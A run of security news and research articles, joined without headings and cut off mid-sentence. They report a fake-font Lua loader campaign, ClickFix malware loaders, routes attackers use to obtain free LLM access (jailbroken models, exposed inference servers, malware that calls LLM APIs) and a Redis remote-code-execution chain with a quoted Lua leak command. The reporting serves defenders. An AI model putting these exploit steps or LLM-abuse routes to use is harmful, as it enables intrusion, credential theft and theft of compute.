lua

A large-scale phishing operation has been observed disguising a malicious script as a TrueType font file (.tff). Using the fake .ttf extension, a Lua-based loader is slipped onto Windows systems and a rotating cast of remote access trojans and infostealers is deployed. According to research published on July 16 by Fortinet's FortiGuard Labs, the campaign has been running since late March 2026 and combines fileless techniques with a low-detection loader to deliver Agent Tesla, Remcos, XWorm and a keylogger called Best Private LOGGER. The operators impersonated well-known companies and used business-cooperation lures to push malicious archives, often attached to phishing emails carrying payment-themed prompts. Fake Fonts, Real Loaders The archives observed by Fortinet contained a JavaScript file wrapped in dense junk code with string-array mapping and control-flow flattening designed to defeat both manual analysis and AI-driven review. When executed, the script copied itself to the %PUBLIC%\Libraries folder, set up a scheduled task for persistence and then dropped either a LuaJIT interpreter or an AutoIt executable. The file it treated as a script carried a .ttf extension, borrowing the look of a legitimate TrueType font. Jason Soroko, senior fellow at certificate lifecycle management (CLM) provider Sectigo, said the design showed why "security controls cannot treat a file extension as proof of file type or intent." Each component looked less suspicious in isolation, he argued, while the combined sequence produced in-memory execution of RATs and infostealers. Soroko urged defenders to analyze files by content, behavior and execution context rather than name and to restrict Windows Script Host, AutoIt and LuaJIT interpreters where they were not required. The Lua path was the more evolved of the two. The disguised script reversed itself, applied symbol-substitution rules, decoded from Base64, then ran a custom ROT cipher whose rotation key was derived from the first byte of the ciphertext. A June 2026 build added a segmented encryption scheme in which the shellcode was split into page-sized fragments marked non-executable, decrypted one page at a time by a Vectored Exception Handler as the processor tried to run them. From Loader to Payload The final payload arrived wrapped in Donut shellcode, whose reflective loader mapped and executed the malware directly in memory, leaving nothing on disk to inspect. FortiGuard observed one of four payloads dropped per victim: Remcos, Agent Tesla, XWorm or Best Private LOGGER. The company classified the latter as a Snake Keylogger variant after comparing its collection module against a payload generated with a Snake VIP Keylogger builder. Shane Barney, chief information security officer at Keeper Security, said the payload set made the attacker's goal plain: valid credentials and a persistent foothold. When signature-based detection failed, he said, the blast radius was determined by "how much damage [could] be done with the credentials once they [had] been stolen." Barney urged organizations to lean on identity controls, least privilege and re-authentication for sensitive systems, on the assumption that credentials would eventually be compromised.

Cybersecurity researchers have flagged multiple ClickFix campaigns that deliver three malware loaders called BabaDeda Loader, Lorem Ipsum Loader, and Potemkin, per independent reports from Morphisec, BlueVoyant, and Huntress, respectively. Attacks involving BabaDeda Loader, observed in April 2026, have targeted education and financial organizations. "Earlier BabaDeda activity was known for concealing malicious payloads inside legitimate looking installer packages," Morphisec researcher Shmuel Uzan said. "This new framework keeps that same code genome but expands it into a far more capable loader built for stealth, evasion, and payload flexibility." The starting point of the attacks is a ClickFix social engineering attack that deceives users into running attacker-supplied PowerShell commands to deliver the loader, which is then used to drop information stealers and remote access trojans (RATs) by combining well-known techniques like hidden PowerShell, in-memory shellcode, DLL side-loading, and external payload storage. The activity has been attributed to BabaDeda, a crypter service that was first documented by Morphisec in November 2021 in connection with a campaign targeting the cryptocurrency and Web3 sectors to distribute information stealers, RATs, and LockBit ransomware. The loader is designed to profile the host, avoid running on Russian or Belarusian systems, and perform security product-related checks before retrieving the main payload and injecting it into a trusted Windows process such as "svchost.exe." One of the malware families delivered via BabaDeda Loader is a .NET backdoor and information stealer that can harvest sensitive data and establish an encrypted channel to a command-and-control (C2) server. The malware supports a wide range of functions, including - Collecting detailed system information Discovering installed browser profiles Extracting browser artifacts such as cookies, browsing history, saved credentials, preferences, and local-state encryption keys Traversing directories and selecting files based on configurable rules Reading and exfiltrating file contents Capturing screenshots and displaying information Executing shell commands or external processes and collecting output Transferring data back to the C2 server Using native Windows APIs for process interaction, memory operations, DPAPI access, Restart Manager behavior, and advanced file access A second attack chain drops a ZIP archive that employs DLL side-loading to launch DanaBot and SectopRAT (aka ArechClient). What's notable about these attacks is the use of a staged loader component dubbed Storage Crypter that reads the payload material from external storage-like files such as "List.Control.dat." "The visible application package appears legitimate, while malicious payloads remain hidden inside externally stored containers and are decoded only moments before execution," Morphisec said. "This design minimizes forensic visibility, complicates automated analysis, and reduces opportunities for traditional security tools to identify malicious activity before execution occurs." The findings represent an evolution of the modern loader frameworks, which have become increasingly modular and separate delivery, storage, execution, and payload deployment into distinct components rather than relying on a single monolithic entity. ClickFix Chain Drops Lorem Ipsum Loader The Click Fix technique has also been observed in an active campaign that uses at least five compromised WordPress sites as a starting point to deliver a nascent loader and backdoor codenamed Lorem Ipsum Loader. The hacked websites span multiple sectors, including architecture, legal services, and construction technology. The attacks mark a departure from prior opportunistic campaigns that employed trojanized Microsoft Teams installers through fake download portals promoted via SEO poisoning and malvertising. The loader is believed to be active in the wild since February 2026. "The pivot to ClickFix lures hosted on compromised WordPress (WP) sites significantly broadens the potential victim pool and demonstrates the operators' willingness to rapidly adapt their initial access techniques," BlueVoyant researchers Thomas Elkins and Joshua Green said. The change in delivery mechanism has been attributed to Microsoft's recent disruption of Fox Tempest (aka Forging Marauder), a threat actor that advertised a malware-signing-as-a-service (MSaaS) operation to help deliver malware without raising any red flags using fraudulently signed Microsoft Trusted Signing certificates. "The loss of certificate supply rendered the previously signed-installer delivery model unviable, forcing the operators to adopt a delivery mechanism that eliminates code signing entirely," the researchers added. The threat activity cluster is the latest instance of how bad actors can easily bounce back and adapt to alternative delivery models despite continued efforts by defenders and law enforcement to dismantle their operations. The Lorem Ipsum ecosystem has been attributed with high confidence to a financially motivated threat actor known as Vanilla Tempest (aka Rapid Brigantine, Vice Society, and Vice Spider) that's known for deploying ransomware families like Rhysida, BlackCat, Zeppelin, and Quantum Locker. Attack sequences distributing Lorem Ipsum Loader make use of ClickFix-style Edge web browser security update lures to run a malicious command that downloads a ZIP file and an outdated version of Node.js released in 2017 (version 7.10.1) to execute JavaScript-based payloads present within the archive while minimizing chances of detection. The JavaScript payload functions as a dropper for deploying and executing additional malware components on the infected system, including a batch script that sets up persistence by launching a DLL side-loading chain to execute a malicious DLL ("mscoree.dll" or "msvcp140.dll"), which, in turn, decodes the embedded Lorem Ipsum Loader payload. "The Lorem Ipsum Loader is designed to retrieve the next-stage Lorem Ipsum Backdoor from C2 infrastructure obtained from attacker-controlled profiles hosted on social networking platforms," BlueVoyant said, adding the backdoor contains functionality to run next-stage payloads received from the C2 server. "The Lorem Ipsum chain culminates in handoff to Rapid Brigantine's established post-exploitation tooling and ultimately to their documented ransomware deployments, primarily Rhysida." Potemkin, RMMProject, and EtherRAT Delivered via ClickFix The third campaign to rely on ClickFix is a sophisticated attack chain that installs an MSI package, which then drops a previously undocumented loader codenamed Potemkin via an HTML Application (HTA) payload. The loader serves as a conduit for EtherRAT and RMMProject, a Lua-scriptable DLL with modules to enable remote screen control and browser credential theft by getting around Chromium's App-Bound Encryption (ABE) protections. RMMProject also implements a task dispatcher mechanism to run a file or process, take screenshots, siphon browser autofill data, execute arbitrary Lua scripts, terminate browser processes, and download and run an additional module from a URL at runtime. Potemkin loader is a "custom x64 loader that uses a domain generation algorithm to find its C2 and reflectively loads follow-on modules in memory," Huntress researchers Anna Pham and Zach Rogers said. The activity was detected by the security vendor last month. The loader supports various functionally distinct components to handle the overall lifecycle, DGA-driven C2 discovery using a built-in 1,000-word dictionary, victim identification by means of a unique UUID value written to "%LOCALAPPDATA%\hyper-v.ver," task polling, DLL retrieval and execution, and a custom byte cipher to protect the C2 communication and the DGA dictionary. With the access established, the unknown threat actor is said to have engaged in hands-on keyboard activity to configure Microsoft Defender exclusions, deploy Chisel reverse SOCKS tunnels, conduct additional reconnaissance, set up a Cloudflare tunnel for persistent access, and spread laterally via WMIExec and SMBExec to reach the domain controller and propagate EtherRAT across over 11 hosts. ClickFix Remains an Enduring Technique The discoveries come as ClickFix continues to be an effective method to target Windows and macOS users with fraudulent bot verification screens to deliver malicious payloads like Phexia Stealer, a macOS infostealer, and HellsUchecker, a backdoor delivered via EtherHiding that's capable of executing files retrieved from C2 and reporting the results back. ClickFix campaigns have also capitalized on the growing interest surrounding artificial intelligence (AI) tools to distribute fake MSI installers for Claude to run PowerShell payloads. "ClickFix remains effective for a simple reason: it exploits human nature. People naturally follow directions when presented with a clear, authoritative-looking instruction ('press Win+R, paste this, hit Enter')," Huntress researchers said. "The social engineering doesn't need to be sophisticated; it just needs to look like a legitimate troubleshooting step, and more often than not, that's enough." The risk posed by pasting commands into the Terminal app from websites (or chat agents, or messaging or email apps) has prompted Apple to introduce a new security pop-up in macOS Tahoe 26.4 that warns Mac users attempting to do so. "Scammers use these channels to instruct people to paste malicious commands into Terminal to harm your Mac or compromise your privacy," Apple notes in a support document published this week. "This alert helps make sure that you aren't tricked into running a command that you didn't expect."

This article is based on joint research with Eran Segal, researcher at Kodem Security. The most capable commercial AI models are now useful enough to attackers that they have become an integral part of their kill chain, in multiple steps. The Cybench benchmark tests models on offensive cyber tasks. Its current top performers (Claude Opus 4.6, Claude Sonnet 4.5, Grok 4) can write functional exploit code, reason through credential chains, and sustain complex reconnaissance workflows: multi-step offensive work that previously required human expertise. Malware families are already using this. Instead of generating a payload offline and shipping it, they wire a live LLM API into the malware itself so it can adapt its behavior at runtime on the infected host. Commercial providers run abuse detection and terminate accounts linked to malicious activity. A payment method creates a paper trail that investigators can follow. So attackers solve the access problem the same way they solve any resource problem: they steal it, find it free, or find it unguarded. This post covers five routes threat actors use to reach LLM inference without paying for it: buying offensive models on underground forums, using front-end models using 3rd party LLM service that allows paying in bitcoin, using free-tier or keyless public APIs, hunting for leaked API keys in developer artifacts, and exploiting self-hosted LLM servers left open on the internet. Method 1: Offensive LLMs and Anonymous Payment Cyber-oriented LLMs sold on underground forums are the most visible route. WormGPT, GhostGPT, KawaiiGPT, and Xanthorox are the most cited examples, covered in depth by Unit 42. These are returned open-weight models or jailbroken wrappers over commercial APIs, marketed specifically as having no content filter. They solve the moderation problem but not the cost problem: access is sold on a subscription basis, and the capability ceiling sits well below that of frontier commercial models. So they are useful for generating phishing content or simple malware stubs, but less so for the kind of autonomous multi-step offensive work that the frontier models in the Cybench ranking are capable of. Method 2: Using Frontier Models Through a Third-Party Service If a threat actor would like to use the frontier models to achieve top performance, they can still use these models using 3rd party services such as PayWithMoon and AIMLAPI. These services sit between the attacker and a commercial LLM provider, accepting cryptocurrency without identity verification and then funding a legitimate provider account on the attacker's behalf. The account itself reaches frontier models, but the funding trail stops at the middleman. The account will still get burned once abuse detection triggers, but replacing it is cheap. The upstream provider has no usable identity to pursue. This is how attackers buy frontier-model access while skipping the paper trail a normal commercial account would leave behind. Method 3: Free-Tier and Keyless Public Inference APIs A cheaper alternative to underground subscriptions exists in plain sight. Most major inference providers publish permanent free tiers that require nothing more than a disposable email address, and a handful of services accept requests with no credentials at all. An attacker who registers for a pool of free-tier accounts gets as meny tokens as he wishes without paying a dime. The scale of the free-tier ecosystem is easy to measure because the community has cataloged it. Public curated lists such as cheahjs/free-llm-api-resources and mnfst/awesome-free-llm-apis explicitly filter for providers that offer a permanent (not trial-credit) free tier with no credit card. Representative entries, with numbers pulled from each provider's own rate-limit documentation: Groq: 30 requests/minute (RPM) on all free-tier models, with requests/day (RPD) caps ranging from 1,000 (for the 70B llama) to 14,400 (for the 8B llama). Cerebras: 30 RPM, 14,400 RPD, and roughly 1M tokens/day on three of the four free-tier models (gpt-oss-120b, llama3.1-8b, qwen-3-235b). Cohere: 20 RPM on the Chat API and a hard cap of 1,000 total API calls/month on a trial key. Mistral La Plateforme: 1B tokens/month on the Experiment plan. No credit card is required, but a verified phone number is required, which is the highest sign-up friction in this group. HuggingFace: Free accounts are rate-limited on both the Hub API and the Inference API per 5-minute window. Anonymous per-IP access exists but is stricter than the free-account path. OpenRouter: 50 free model RPD with no deposit at all, and 1,000 RPD after a one-time $10 top-up that is never spent against model usage. SambaNova: 20 RPM and 20 RPD, with a 200,000 tokens/day cap. The tightest daily request ceiling in this group by a wide margin. These providers differ in rate limits, models, and throughput. What they share is that a usable credential requires nothing more than a disposable email address (a phone number in Mistral's case) and no payment method. Credentials can simply be rotated when limits are reached. The fully keyless end of the spectrum is thinner, but it exists. Pollinations.ai exposes an OpenAI-compatible endpoint that accepts requests with no authentication for basic use. DuckDuckGo's Duck.ai anonymizes browser-based access to Claude 3.5 Haiku, Llama 4 Scout, Mistral Small 3, GPT-5 mini, and GPT-4o mini with no account at all. These services are not designed for bulk programmatic use, but they are reachable from any HTTP client, and the only cost is rate-limit friction. Among the malware families in the intro table, LameHug/PROMPTSTEAL is the cleanest example of this route in the wild: it calls HuggingFace's Inference API for Qwen 2.5-Coder-32B-Instruct to drive reconnaissance and data theft, with no embedded credentials reported by Splunk. Whether the malware carries a token or registers one at runtime is not established, but either way, the enabling property is HuggingFace's no-credit-card free tier. Method 4: Exposed API Keys The fourth route to free model access doesn't require finding an exposed server at all. Developers routinely hardcode credentials directly into apps, config files, and scripts. These credentials can be found in GitHub in open-source projects, while closed-source projects contain the credentials in the app itself. These artifacts are submitted to VirusTotal when apps are submitted for malware analysis. It can be an APK, ELF, EXE, or any type of artifact shipped with the product. To find them systematically, we wrote a YARA rule targeting the key formats of the major AI providers: Google Gemini (AIzaSy…), OpenAI (sk-…), Anthropic (sk-ant-…), HuggingFace (hf_…), Replicate, Mistral, Cohere, Groq, and several others. We ran the rule as a retrohunting query across the VirusTotal corpus, collected the matching sample hashes, then pulled the raw files and ran a regex extraction pass to extract every key-value pair, provider, and surrounding code context. From there, we enriched each sample with VirusTotal metadata to understand detection rates and file types. The final step was validation: a lightweight GET request against each provider's model-list or whoami endpoint. No prompts sent, just a check of whether the key authenticates. The corpus yielded 647 unique keys across all providers. Roughly 62% were Google Gemini (AIzaSy…) keys. That concentration traces back to the Android developer ecosystem, where apps built for translation, search, or chatbot features commonly bundle the key directly in compiled resources or Java code. HuggingFace keys made up about 11%, Replicate about 8%, OpenAI sk- keys about 7%, and the remaining share was split across Voyage (5%), Mistral (3%), and Cohere (3%), with trace amounts of Anthropic, Groq, and OpenAI environment-style keys. The Mistral and Cohere keys concentrated heavily in a single file: a cracked "Collins Italian Dictionary MOD" Android APK that bundled 20 Mistral keys and 15 Cohere keys alongside 2 Gemini keys, with the small remainder scattered across two versions of a Ubisoft game APK. About 65% of the 659 unique samples are confirmed Android by VirusTotal's type classification. Another 18% are ZIP archives that follow the same submission pattern but were not explicitly tagged as Android. The true APK share sits between 65% and 84%. The remainder consisted of Windows PE files (5%), HTML pages, Python scripts, plain-text credential dumps, and a handful of Mach-O and ELF binaries. That Android skew isn't surprising. APKs are frequently submitted to VirusTotal for modding and repackaging, and their keys remain intact after decompilation. We submitted research samples to Intezer Analyze for code-based attribution, and three entries stand out. Four samples whose filenames suggested Akira ransomware are three Mimikatz binaries (1, 2, 3) and one malicious binary without family attribution, all credential-dumping tools that happened to carry API keys. The sample with a HuggingFace key is SolarMarker, an SEO-poisoning backdoor with infostealer capability. A Windows binary named SystemSettings.exe contained OpenAI, Replicate, and Voyage keys; the multi-key combination is more consistent with theft from a developer's machine than with intentional hardcoding. When we ran the validation, almost all the keys were dead. The revocation rate was approximately 99.5%, consistent with a corpus skewed toward older samples that had been on VirusTotal long enough to be detected, rotated, or simply expired. The small fraction that remained live consisted entirely of Google Gemini keys from Android APKs. All appeared to be genuine developer mistakes rather than exfiltrated credentials: a key embedded in a const in bundled JavaScript, one in a logging module in a compiled Android class, and one in a utility app's APK resources. Those three keys have been reported to Google. The method also illustrates why embedding API keys in client software is a particularly bad idea. Extracting a key from an APK requires a decompiler, and APKs have a reliable path to VirusTotal: users submit them for malware checks, repackaged versions circulate through third-party stores, and cracked builds get flagged automatically. The near-total revocation rate strongly suggests that LLM providers scan VirusTotal for their own key formats and automatically revoke matches. The three keys that were still live were all recent submissions, not yet caught by that sweep. If that pipeline exists, embedding a key in client-side code is not just a security mistake, but a futile one, and the key will likely be dead before it can be abused at scale. The takeaway for an attacker is that hunting VirusTotal for hardcoded keys is low-effort but low-yield. The more durable access method is the exposed LLM server. A server running vLLM (a popular open-source LLM inference framework) or an open Ollama instance requires no authentication, doesn't rotate anything while in use, and the owner usually doesn't know it's happening. Method 5: Hack Public LLM Hosting Servers Self-hosted LLM platforms make it easy to run your own models on your infrastructure, and that same ease extends to anyone who can access the port. Most ships have no authentication by default and expose administrative endpoints that let a stranger list installed models, queue inference jobs, load new models from remote URLs, or, in several cases, execute code on the host. When the server is exposed to the public internet, the attacker does not need a stolen key or a forum subscription. The victim is paying the GPU bill, carrying the API-key spend, or hosting the RCE. We scanned roughly 4,500 hosts across eleven of them. Every service had open instances, and 14 LocalAI hosts showed active compromise based on attacker-loaded model names consistent with a single automated campaign. The sections below cover what each platform is, how exposure gets abused, and what the scan found in the wild. Ollama Ollama runs open-weight LLMs locally. By default, it binds to 127.0.0.1, and the authentication is disabled. But setting OLLAMA_HOST=0.0.0.0 is a common step when accessing it from another machine on the network or from a frontend app running in a separate container. It exposes all interfaces, and anyone reaching it’s port gets full API, model management, and hardware access. SentinelOne Labs and Censys already published the definitive survey, documenting 175,000+ hosts chained into anonymous AI networks for free text, embedding, and bulk content generation on victim hardware. That pattern is now commercialized by Operation Bizarre Bazaar, which sells subscription access to a unified LLM gateway fronted by stolen Ollama endpoints, turning ad-hoc LLMjacking into a growing concern. LocalAI LocalAI is an OpenAI API-compatible model server supporting LLMs, image generation, speech, and transcription. Authentication is disabled by default. It also supports remote model installation, P2P distributed serving, and a built-in agent platform with support for MCP. Of all the services in this research, it has the widest attack surface. Of all the hosts scanned, 55% were confirmed open, the highest absolute count in this group. About 24% are API proxies with live upstream keys for OpenAI, Anthropic, and Google accessible to anyone who can reach the host. The most striking finding is evidence of automated exploitation at scale. About 21% of confirmed hosts carry model names with a consistent signature tied to ProjectDiscovery's nuclei scanner templates, with per-run timestamps mapping to late March and early April 2026. The pattern is consistent with automated scanning for an unauthenticated remote code execution path, in which a malicious URL supplied during model installation triggers server-side code execution. The exploit payload appears to load a small publicly available Italian-language model as a "hello world" confirmation, which recurs on every affected host. The markers not being cleaned up argue against mature attacker tradecraft. Operators running LocalAI can open /v1/models on their own host: any nuclei-rce-* or rce_ identifier is not human-chosen and indicates this campaign hit them. Langflow Langflow is a visual builder for multi-agent AI pipelines, widely used to prototype RAG systems and chatbots. Flows routinely embed hardcoded credentials: OpenAI and Anthropic API keys, database connection strings, Slack tokens, and webhook secrets. Anyone who can reach the host and read a flow config has all of them. Unlike the previous examples, this app does not have a known major misconfiguration, but it does not prevent attackers from being able to hack and gain access to this service. For example, two unauthenticated RCE bugs make reaching the config trivial: CVE-2025-3248:on the CISA KEV list, reliably patched only in 1.6.4+ CVE-2026-33017: fixed in 1.9.0, exploited in the wild within 20 hours of disclosure. Every confirmed host in our scan ran a version vulnerable to CVE-2026-33017; about 72% were also vulnerable to CVE-2025-3248. Several hosts didn’t authenticate at all, with flows, credentials, and both RCE paths openly accessible. Code execution on the Langflow host is the small prize. The keys inside the flows pivot to everything the workflows connect to. n8n n8n is a low-code workflow automation platform with 400+ service connectors and code execution nodes (workflow steps that run arbitrary scripts). It has the strongest default auth posture of any service in this research: User Management is enforced on fresh installs. But it does not prevent attackers from actively gaining access to n8n. Vulnerabilities such as CVE-2026-21858 ("Ni8mare", CVSS 10.0, fixed in 1.121.0), which is a vulnerability in the web hooks request handling that turns exposed endpoints into a full unauthenticated RCE surface via content-type confusion, with a public PoC already out. Prior research estimates the exposed n8n population at tens of thousands of hosts. The post-exploitation story mirrors Langflow. Workflows carry hardcoded API keys, database connection strings, and webhook secrets. RCE on the n8n host effectively gives access to every system the automations touch. vLLM vLLM is a high-throughput LLM serving engine with GPU acceleration, commonly used to self-host open-weight models in production. It exposes an OpenAI-compatible REST API. Authentication requires an explicit --api-key flag; without it, the API is open. The interesting finding from our scan was not vLLM itself but the adjacent deployments surfaced by the same query: OpenAI-compatible HTTP proxies, specifically LiteLLM-style gateways that aggregate multiple paid providers behind a single endpoint. These proxies store live API keys for OpenAI, Anthropic, Google, Groq, and Cohere. None had protection on the model list endpoint. One host exposed 35 models across multiple providers; several listed exclusively Anthropic Claude models. A proxy returns a model list only when the upstream provider authenticates, so every successful response confirms the underlying keys are live and billable. The abuse path is trivial: point any standard OpenAI SDK client at the proxy, enumerate the models, and, on hosts where prompt submission is also unprotected, send requests billed to the operator's accounts. It is the same credential-pivot pattern as Langflow and n8n. ComfyUI ComfyUI is a node-based workflow UI for Stable Diffusion, video generation, and multimodal image models. It runs on high-end GPU hardware with no authentication by default, making it a direct target for attackers looking to steal GPU compute. Our scan found open instances across a wide range of versions (v0.2.2 to 0.19.0), all of which were fully unauthenticated. The hardware exposure is the headline finding. Open hosts reported a combined ~4.3 TB of GPU VRAM, with cards ranging from RTX 4090s and RTX 5090s to datacenter-grade A100S and L40S units, each worth tens of thousands of dollars. An attacker can queue generation jobs against any of them at no cost. Beyond compute theft, 95% of open hosts expose a job history endpoint that leaks previously executed workflows, local file paths, and prior user content. About 12% advertise URL-loading nodes that act as server-side request forgery primitives: usable for internal network reconnaissance or cloud metadata credential theft. llama.cpp server llama-server is the HTTP server shipped with llama.cpp, commonly used to serve a single open-weight model in production. It has no authentication by default, no access controls on the inference endpoint, and a metadata endpoint that advertises exactly what the host is running. Anyone who reaches the port can submit prompts, watch active jobs, and burn the operator's GPU on their own workload. Classic LLMjacking, with the bonus of knowing exactly which model they are running. Of scanned hosts, 59% were confirmed open, more than any other platform in the scan. Everyone exposed its model name and hardware configuration, and about 37% also leaked real-time job state, confirming the host was actively serving users at the time of the scan. The models observed were standard open-weight builds rather than anything exotic, which is the point. An attacker is not looking for a rare model, just an unattended GPU. Jan Jan is an Electron desktop AI app with an optional OpenAI-compatible API server on port 1337. When enabled, it binds to all interfaces with no authentication. Jan is a useful example of how exposure surfaces unexpected content rather than how common it is. Our scan confirmed only two genuine Jan hosts. Both had gone offline by the rescan a week later. While one was live, it exposed a 35-model library that included miqu-70b; a leaked Mistral Medium prototype that was never officially released. When a desktop app binds its API server to the public internet, whatever model (or file path metadata) sits on the operator's disk becomes visible. Gradio Gradio is a Python framework for building ML demo apps: image classifiers, code interpreters, document Q&A, or anything a researcher can wrap in a web UI. Exposure risk depends entirely on what the underlying app does. A sentiment-analysis demo is low-stakes. An app that accepts file uploads, runs user code, or queries a database is a direct path to exploitation. The Gradio queue keeps processing submitted requests whether the operator is watching or not, so abuse can run quietly for days. Three unauthenticated bugs make unpatched instances worse: CVE-2024-47084: CORS validation bypass, fixed in 4.44.0; a malicious website can reach a locally running Gradio server while the victim is still logged in Ranking the Five Routes Each route carries operational trade-offs. The table below scores each on five dimensions, ranging from 0 (least favorable) to 5 (best for attacking): non-resistance (refusal behavior in response to offensive prompts), model capability (coding ability and parameter count), tool and MCP support, and effective token quota. Offensive LLMs score highest on non-resistance. But the underground-forum variants sit well below frontier models in capability and tool support, and subscriptions cap the quota. The crypto-middleman variant reaches frontier models via real provider accounts, but those accounts burn quickly once abuse is detected. Crypto payment for frontier models is for sure the best way to gain access for the most capable models with the ability to connect the model to any interface, such as MCPs, but it comes with some risks that the model might resist the action or the user will be blocked. Free-tier and keyless public APIs score well in capability and tool support, with full-function calling across most providers. The per-account quota is modest, tens of RPM, thousands of RPD, but trivial account rotation pushes the effective quota well above the face value. Stolen or leaked API keys, in principle, offer the best combination of capability and tool support; the retrohunt's 0.5% live rate shows the real-world quota is near zero. Exposed LLM servers score highest on non-resistance and token quota. Non-resistance is unconstrained: the attacker controls model selection, and our scan found at least one LM Studio host actively serving llama3.3-8b-instruct-thinking-heretic-uncensored-claude-4.5-opus-high-reasoning-i1. Token quota is equally unconstrained, bounded only by the victim's hardware rather than a billing cap. Capability and tool support vary by host, but that variance is what makes the route durable at scale. No individual host needs to run a frontier model. The scoring explains why exposed servers are the most durable route, even though they don't top every dimension. They are the only route where non-resistance and token quota both max out. The other three are each compromised on at least one of those two axes. Cases Found in the Wild Threat actors are now wiring malware to live LLM APIs, using them to generate malicious logic at runtime rather than embedding static code in the payload. Instead of scripting separate execution flows for different host conditions, the malware queries an LLM while running, determines whether the target appears to be a personal machine, a server, or an industrial controller, and then generates tailored commands or code accordingly. This shift matters because dynamically generated logic has no fixed signature to detect. Researchers have identified five malware families doing this. MalTerminal and PROMPTFLUX both use a hardcoded API key to connect to a commercial provider when needed. MalTerminal uses OpenAI GPT-4 via the now-retired chat-completions endpoint to create reverse shells or ransomware. PROMPTFLUX connects to Google gemini-1.5-flash-latest to rewrite its own VBScript source code between runs, making it harder to detect. LameHug, also known as PROMPTSTEAL, uses HuggingFace's Inference API to run Qwen 2.5-Coder-32B-Instruct for Windows commands to support reconnaissance and data theft. HuggingFace requires an API token for each request, but free accounts don't need a payment method and allow a few hundred requests per hour per API token. Attackers can easily create and rotate these API tokens, giving them the same access as stolen keys but with less hassle. PROMPTLOCK is a proof-of-concept AI-powered ransomware prototype, often called "Ransomware 3.0," developed by researchers at NYU's Tandon School of Engineering. The Go binary invokes gpt-oss-20b via a local Ollama API running on the infected host to generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic. This is a bring-your-own-model: no outbound calls, no provider-side billing trail, and no way to scale beyond the victim's own hardware. QUIETVAULT is a credential-theft variant. The JavaScript stealer exfiltrates GitHub and NPM tokens to an attacker-controlled GitHub repo and then hands off the filesystem search for additional secrets to whatever AI CLI is already installed on the victim, so the stolen credentials are an active on-host AI session rather than a bare API key. Looking at the four main routes discussed in this post, LameHug/PROMPTSTEAL is the best example of the free-tier method, since it calls HuggingFace's Inference API directly. MalTerminal and PROMPTFLUX both use hardcoded API keys, but it's unclear where those keys came from, so they could fit into the free-tier, crypto-middleman, or stolen-keys categories. QUIETVAULT is a twist on the stolen-credential method, using an on-host AI session instead of just a key. PROMPTLOCK is different because it uses a local model and only works on one victim at a time, so it doesn't fit into the four main routes and isn't discussed further. Across four routes: offensive LLMs for sale, free-tier and keyless public APIs, hardcoded keys in distributed artifacts, and exposed LLM servers on victim infrastructure, the most durable access is the last one. The precondition for abuse is almost never a sophisticated exploit. It is an unauthenticated port facing the internet. AI is the defining technology of this moment. It extends what a single person or small team can do and accelerates work that used to take weeks. AI is being integrated into more and more areas, from personal agents and email writing to some vulnerability research. The wow factor is real. But an LLM server is still a service running on a host. It listens on a port, speaks a protocol, and has an attack surface. The failure modes in this report; misconfiguration, leaked credentials, unpatched CVEs, open ports, are the same ones that produced years of incidents on Docker, Kubernetes, cloud storage, Redis, Elasticsearch, and bare Linux servers. The tooling is new. The mistakes are not. Two things follow. The operator is still responsible for the basics: authenticate the service, keep it off the public internet unless there is a reason to expose it, patch the known CVEs, and audit what is running. These are not AI-specific requirements. They are the same ones we have been making for every networked service. An exposed Ollama instance serving a stranger's prompts is not a failure of the model or the vendor that shipped it. It is a failure of whoever put it on the internet without a password. You broke it. You pay for it. IOCs Nicole Fishbein Nicole is a senior security researcher and malware analyst at Intezer. Prior to this, she was an embedded researcher in the IDF Intelligence Corps.

Tracked as CVE-2026-23479, the flaw was introduced in Redis 7.2.0 and remained in every stable branch until the May 5 fixes, unnoticed for over two years. NVD rates it 8.8 under CVSS 3.1; Redis lists it as 7.7 under CVSS 4.0. It was reported by Team Xint Code, and a complete technical write-up is now public. The cloud footprint makes this worse. Wiz's analysis, published with the exploit writeup, puts Redis in a large majority of cloud environments, with most of those instances running without a password. The exploit needs an authenticated session, but in a default deployment, the default user already holds every privilege the chain requires. The flaw lives in unblockClientOnKey() in src/blocked.c, which fires when a key event wakes a blocked command. The function dispatches the queued command through processCommandAndResetClient(), then keeps using the same client pointer. The problem: that function can free the client as a side effect, and its own header comment says so. The caller ignores the return value and reads the freed structure anyway, a use-after-free (CWE-416). Per Wiz's analysis, the bug took two commits to create. A January 2023 refactor (PR #11012) added the unchecked call. A March 2023 change (PR #11568) added more client access after it. Neither was dangerous alone. Together, they reached general availability in 7.2.0 and survived multiple rounds of security review. The chain starts by leaking a heap address. From there it frees a client and slips a fake one into the same memory, then turns Redis's own memory accounting against itself to overwrite a function pointer. The published version runs in three stages. First, a one-line Lua script (EVAL "return tostring(redis.call)" 0) leaks a heap pointer. Second, the attacker grooms client memory limits, parks a bloated client on a stream, then drops the limits and wakes it. Redis frees the blocked client mid-call, and a pipelined SET immediately reclaims the freed slot with a fake client structure. Third, Redis's routine memory accounting in updateClientMemoryUsage() performs an out-of-bounds decrement using attacker-controlled fields, aimed at the Global Offset Table to repoint strcasecmp() at system(). The next command Redis parses runs as a shell command. The official Redis Docker image makes the last step easier. It ships with only partial RELRO, leaving the GOT writable at runtime. ASLR and PIE do not help here, since the write is relative to a global whose offset is fixed at build time. The full chain needs an authenticated session with CONFIG SET, EVAL, stream commands (XREAD/XADD), and basic SET/GET, which maps to the @admin, @scripting, @stream, and @read/@write ACL categories. The default user has all of them, and in most deployments, these privileges are grouped into a single shared application or operator role. Denying CONFIG outright breaks this specific chain, though not the underlying use-after-free. Team Xint Code demonstrated the working RCE at ZeroDay.Cloud 2025, Wiz's hacking competition in London last December. Theori describes Xint Code as an autonomous AI security tool built to hunt bugs in large codebases. Redis said it had no evidence of exploitation in its own or customer environments, and as of publication no public in-the-wild reports have surfaced. The full technical chain is now public, increasing the risk of follow-on exploitation. Upgrade to the patched minor for your series: 7.2.14, 7.4.9, 8.2.6, 8.4.3, or 8.6.3, all released on May 5. Minor upgrades within a series are meant to be drop-in. Managed Redis services patch on their own schedules, and Redis says Redis Cloud is already done. If you cannot patch yet: keep Redis off the public internet and behind TLS, tighten ACLs so no single role holds @admin, CONFIG, and @scripting together, and deny @scripting if you do not use Lua, which kills the Stage 1 leak. Prioritize internet-exposed instances, shared application credentials, and any role that combines CONFIG, scripting, and stream access. Rotate any broadly shared Redis credentials while you are at it. CVE-2026-23479 was one of five RCE-class Redis flaws disclosed last month, and it follows Redis's 2025 RediShell flaw, another authenticated use-after-free involving Lua scripting. It is also the one an AI tool caught. Two commits planted it, two years hid it, and it sat in one of the most-deployed databases around until a 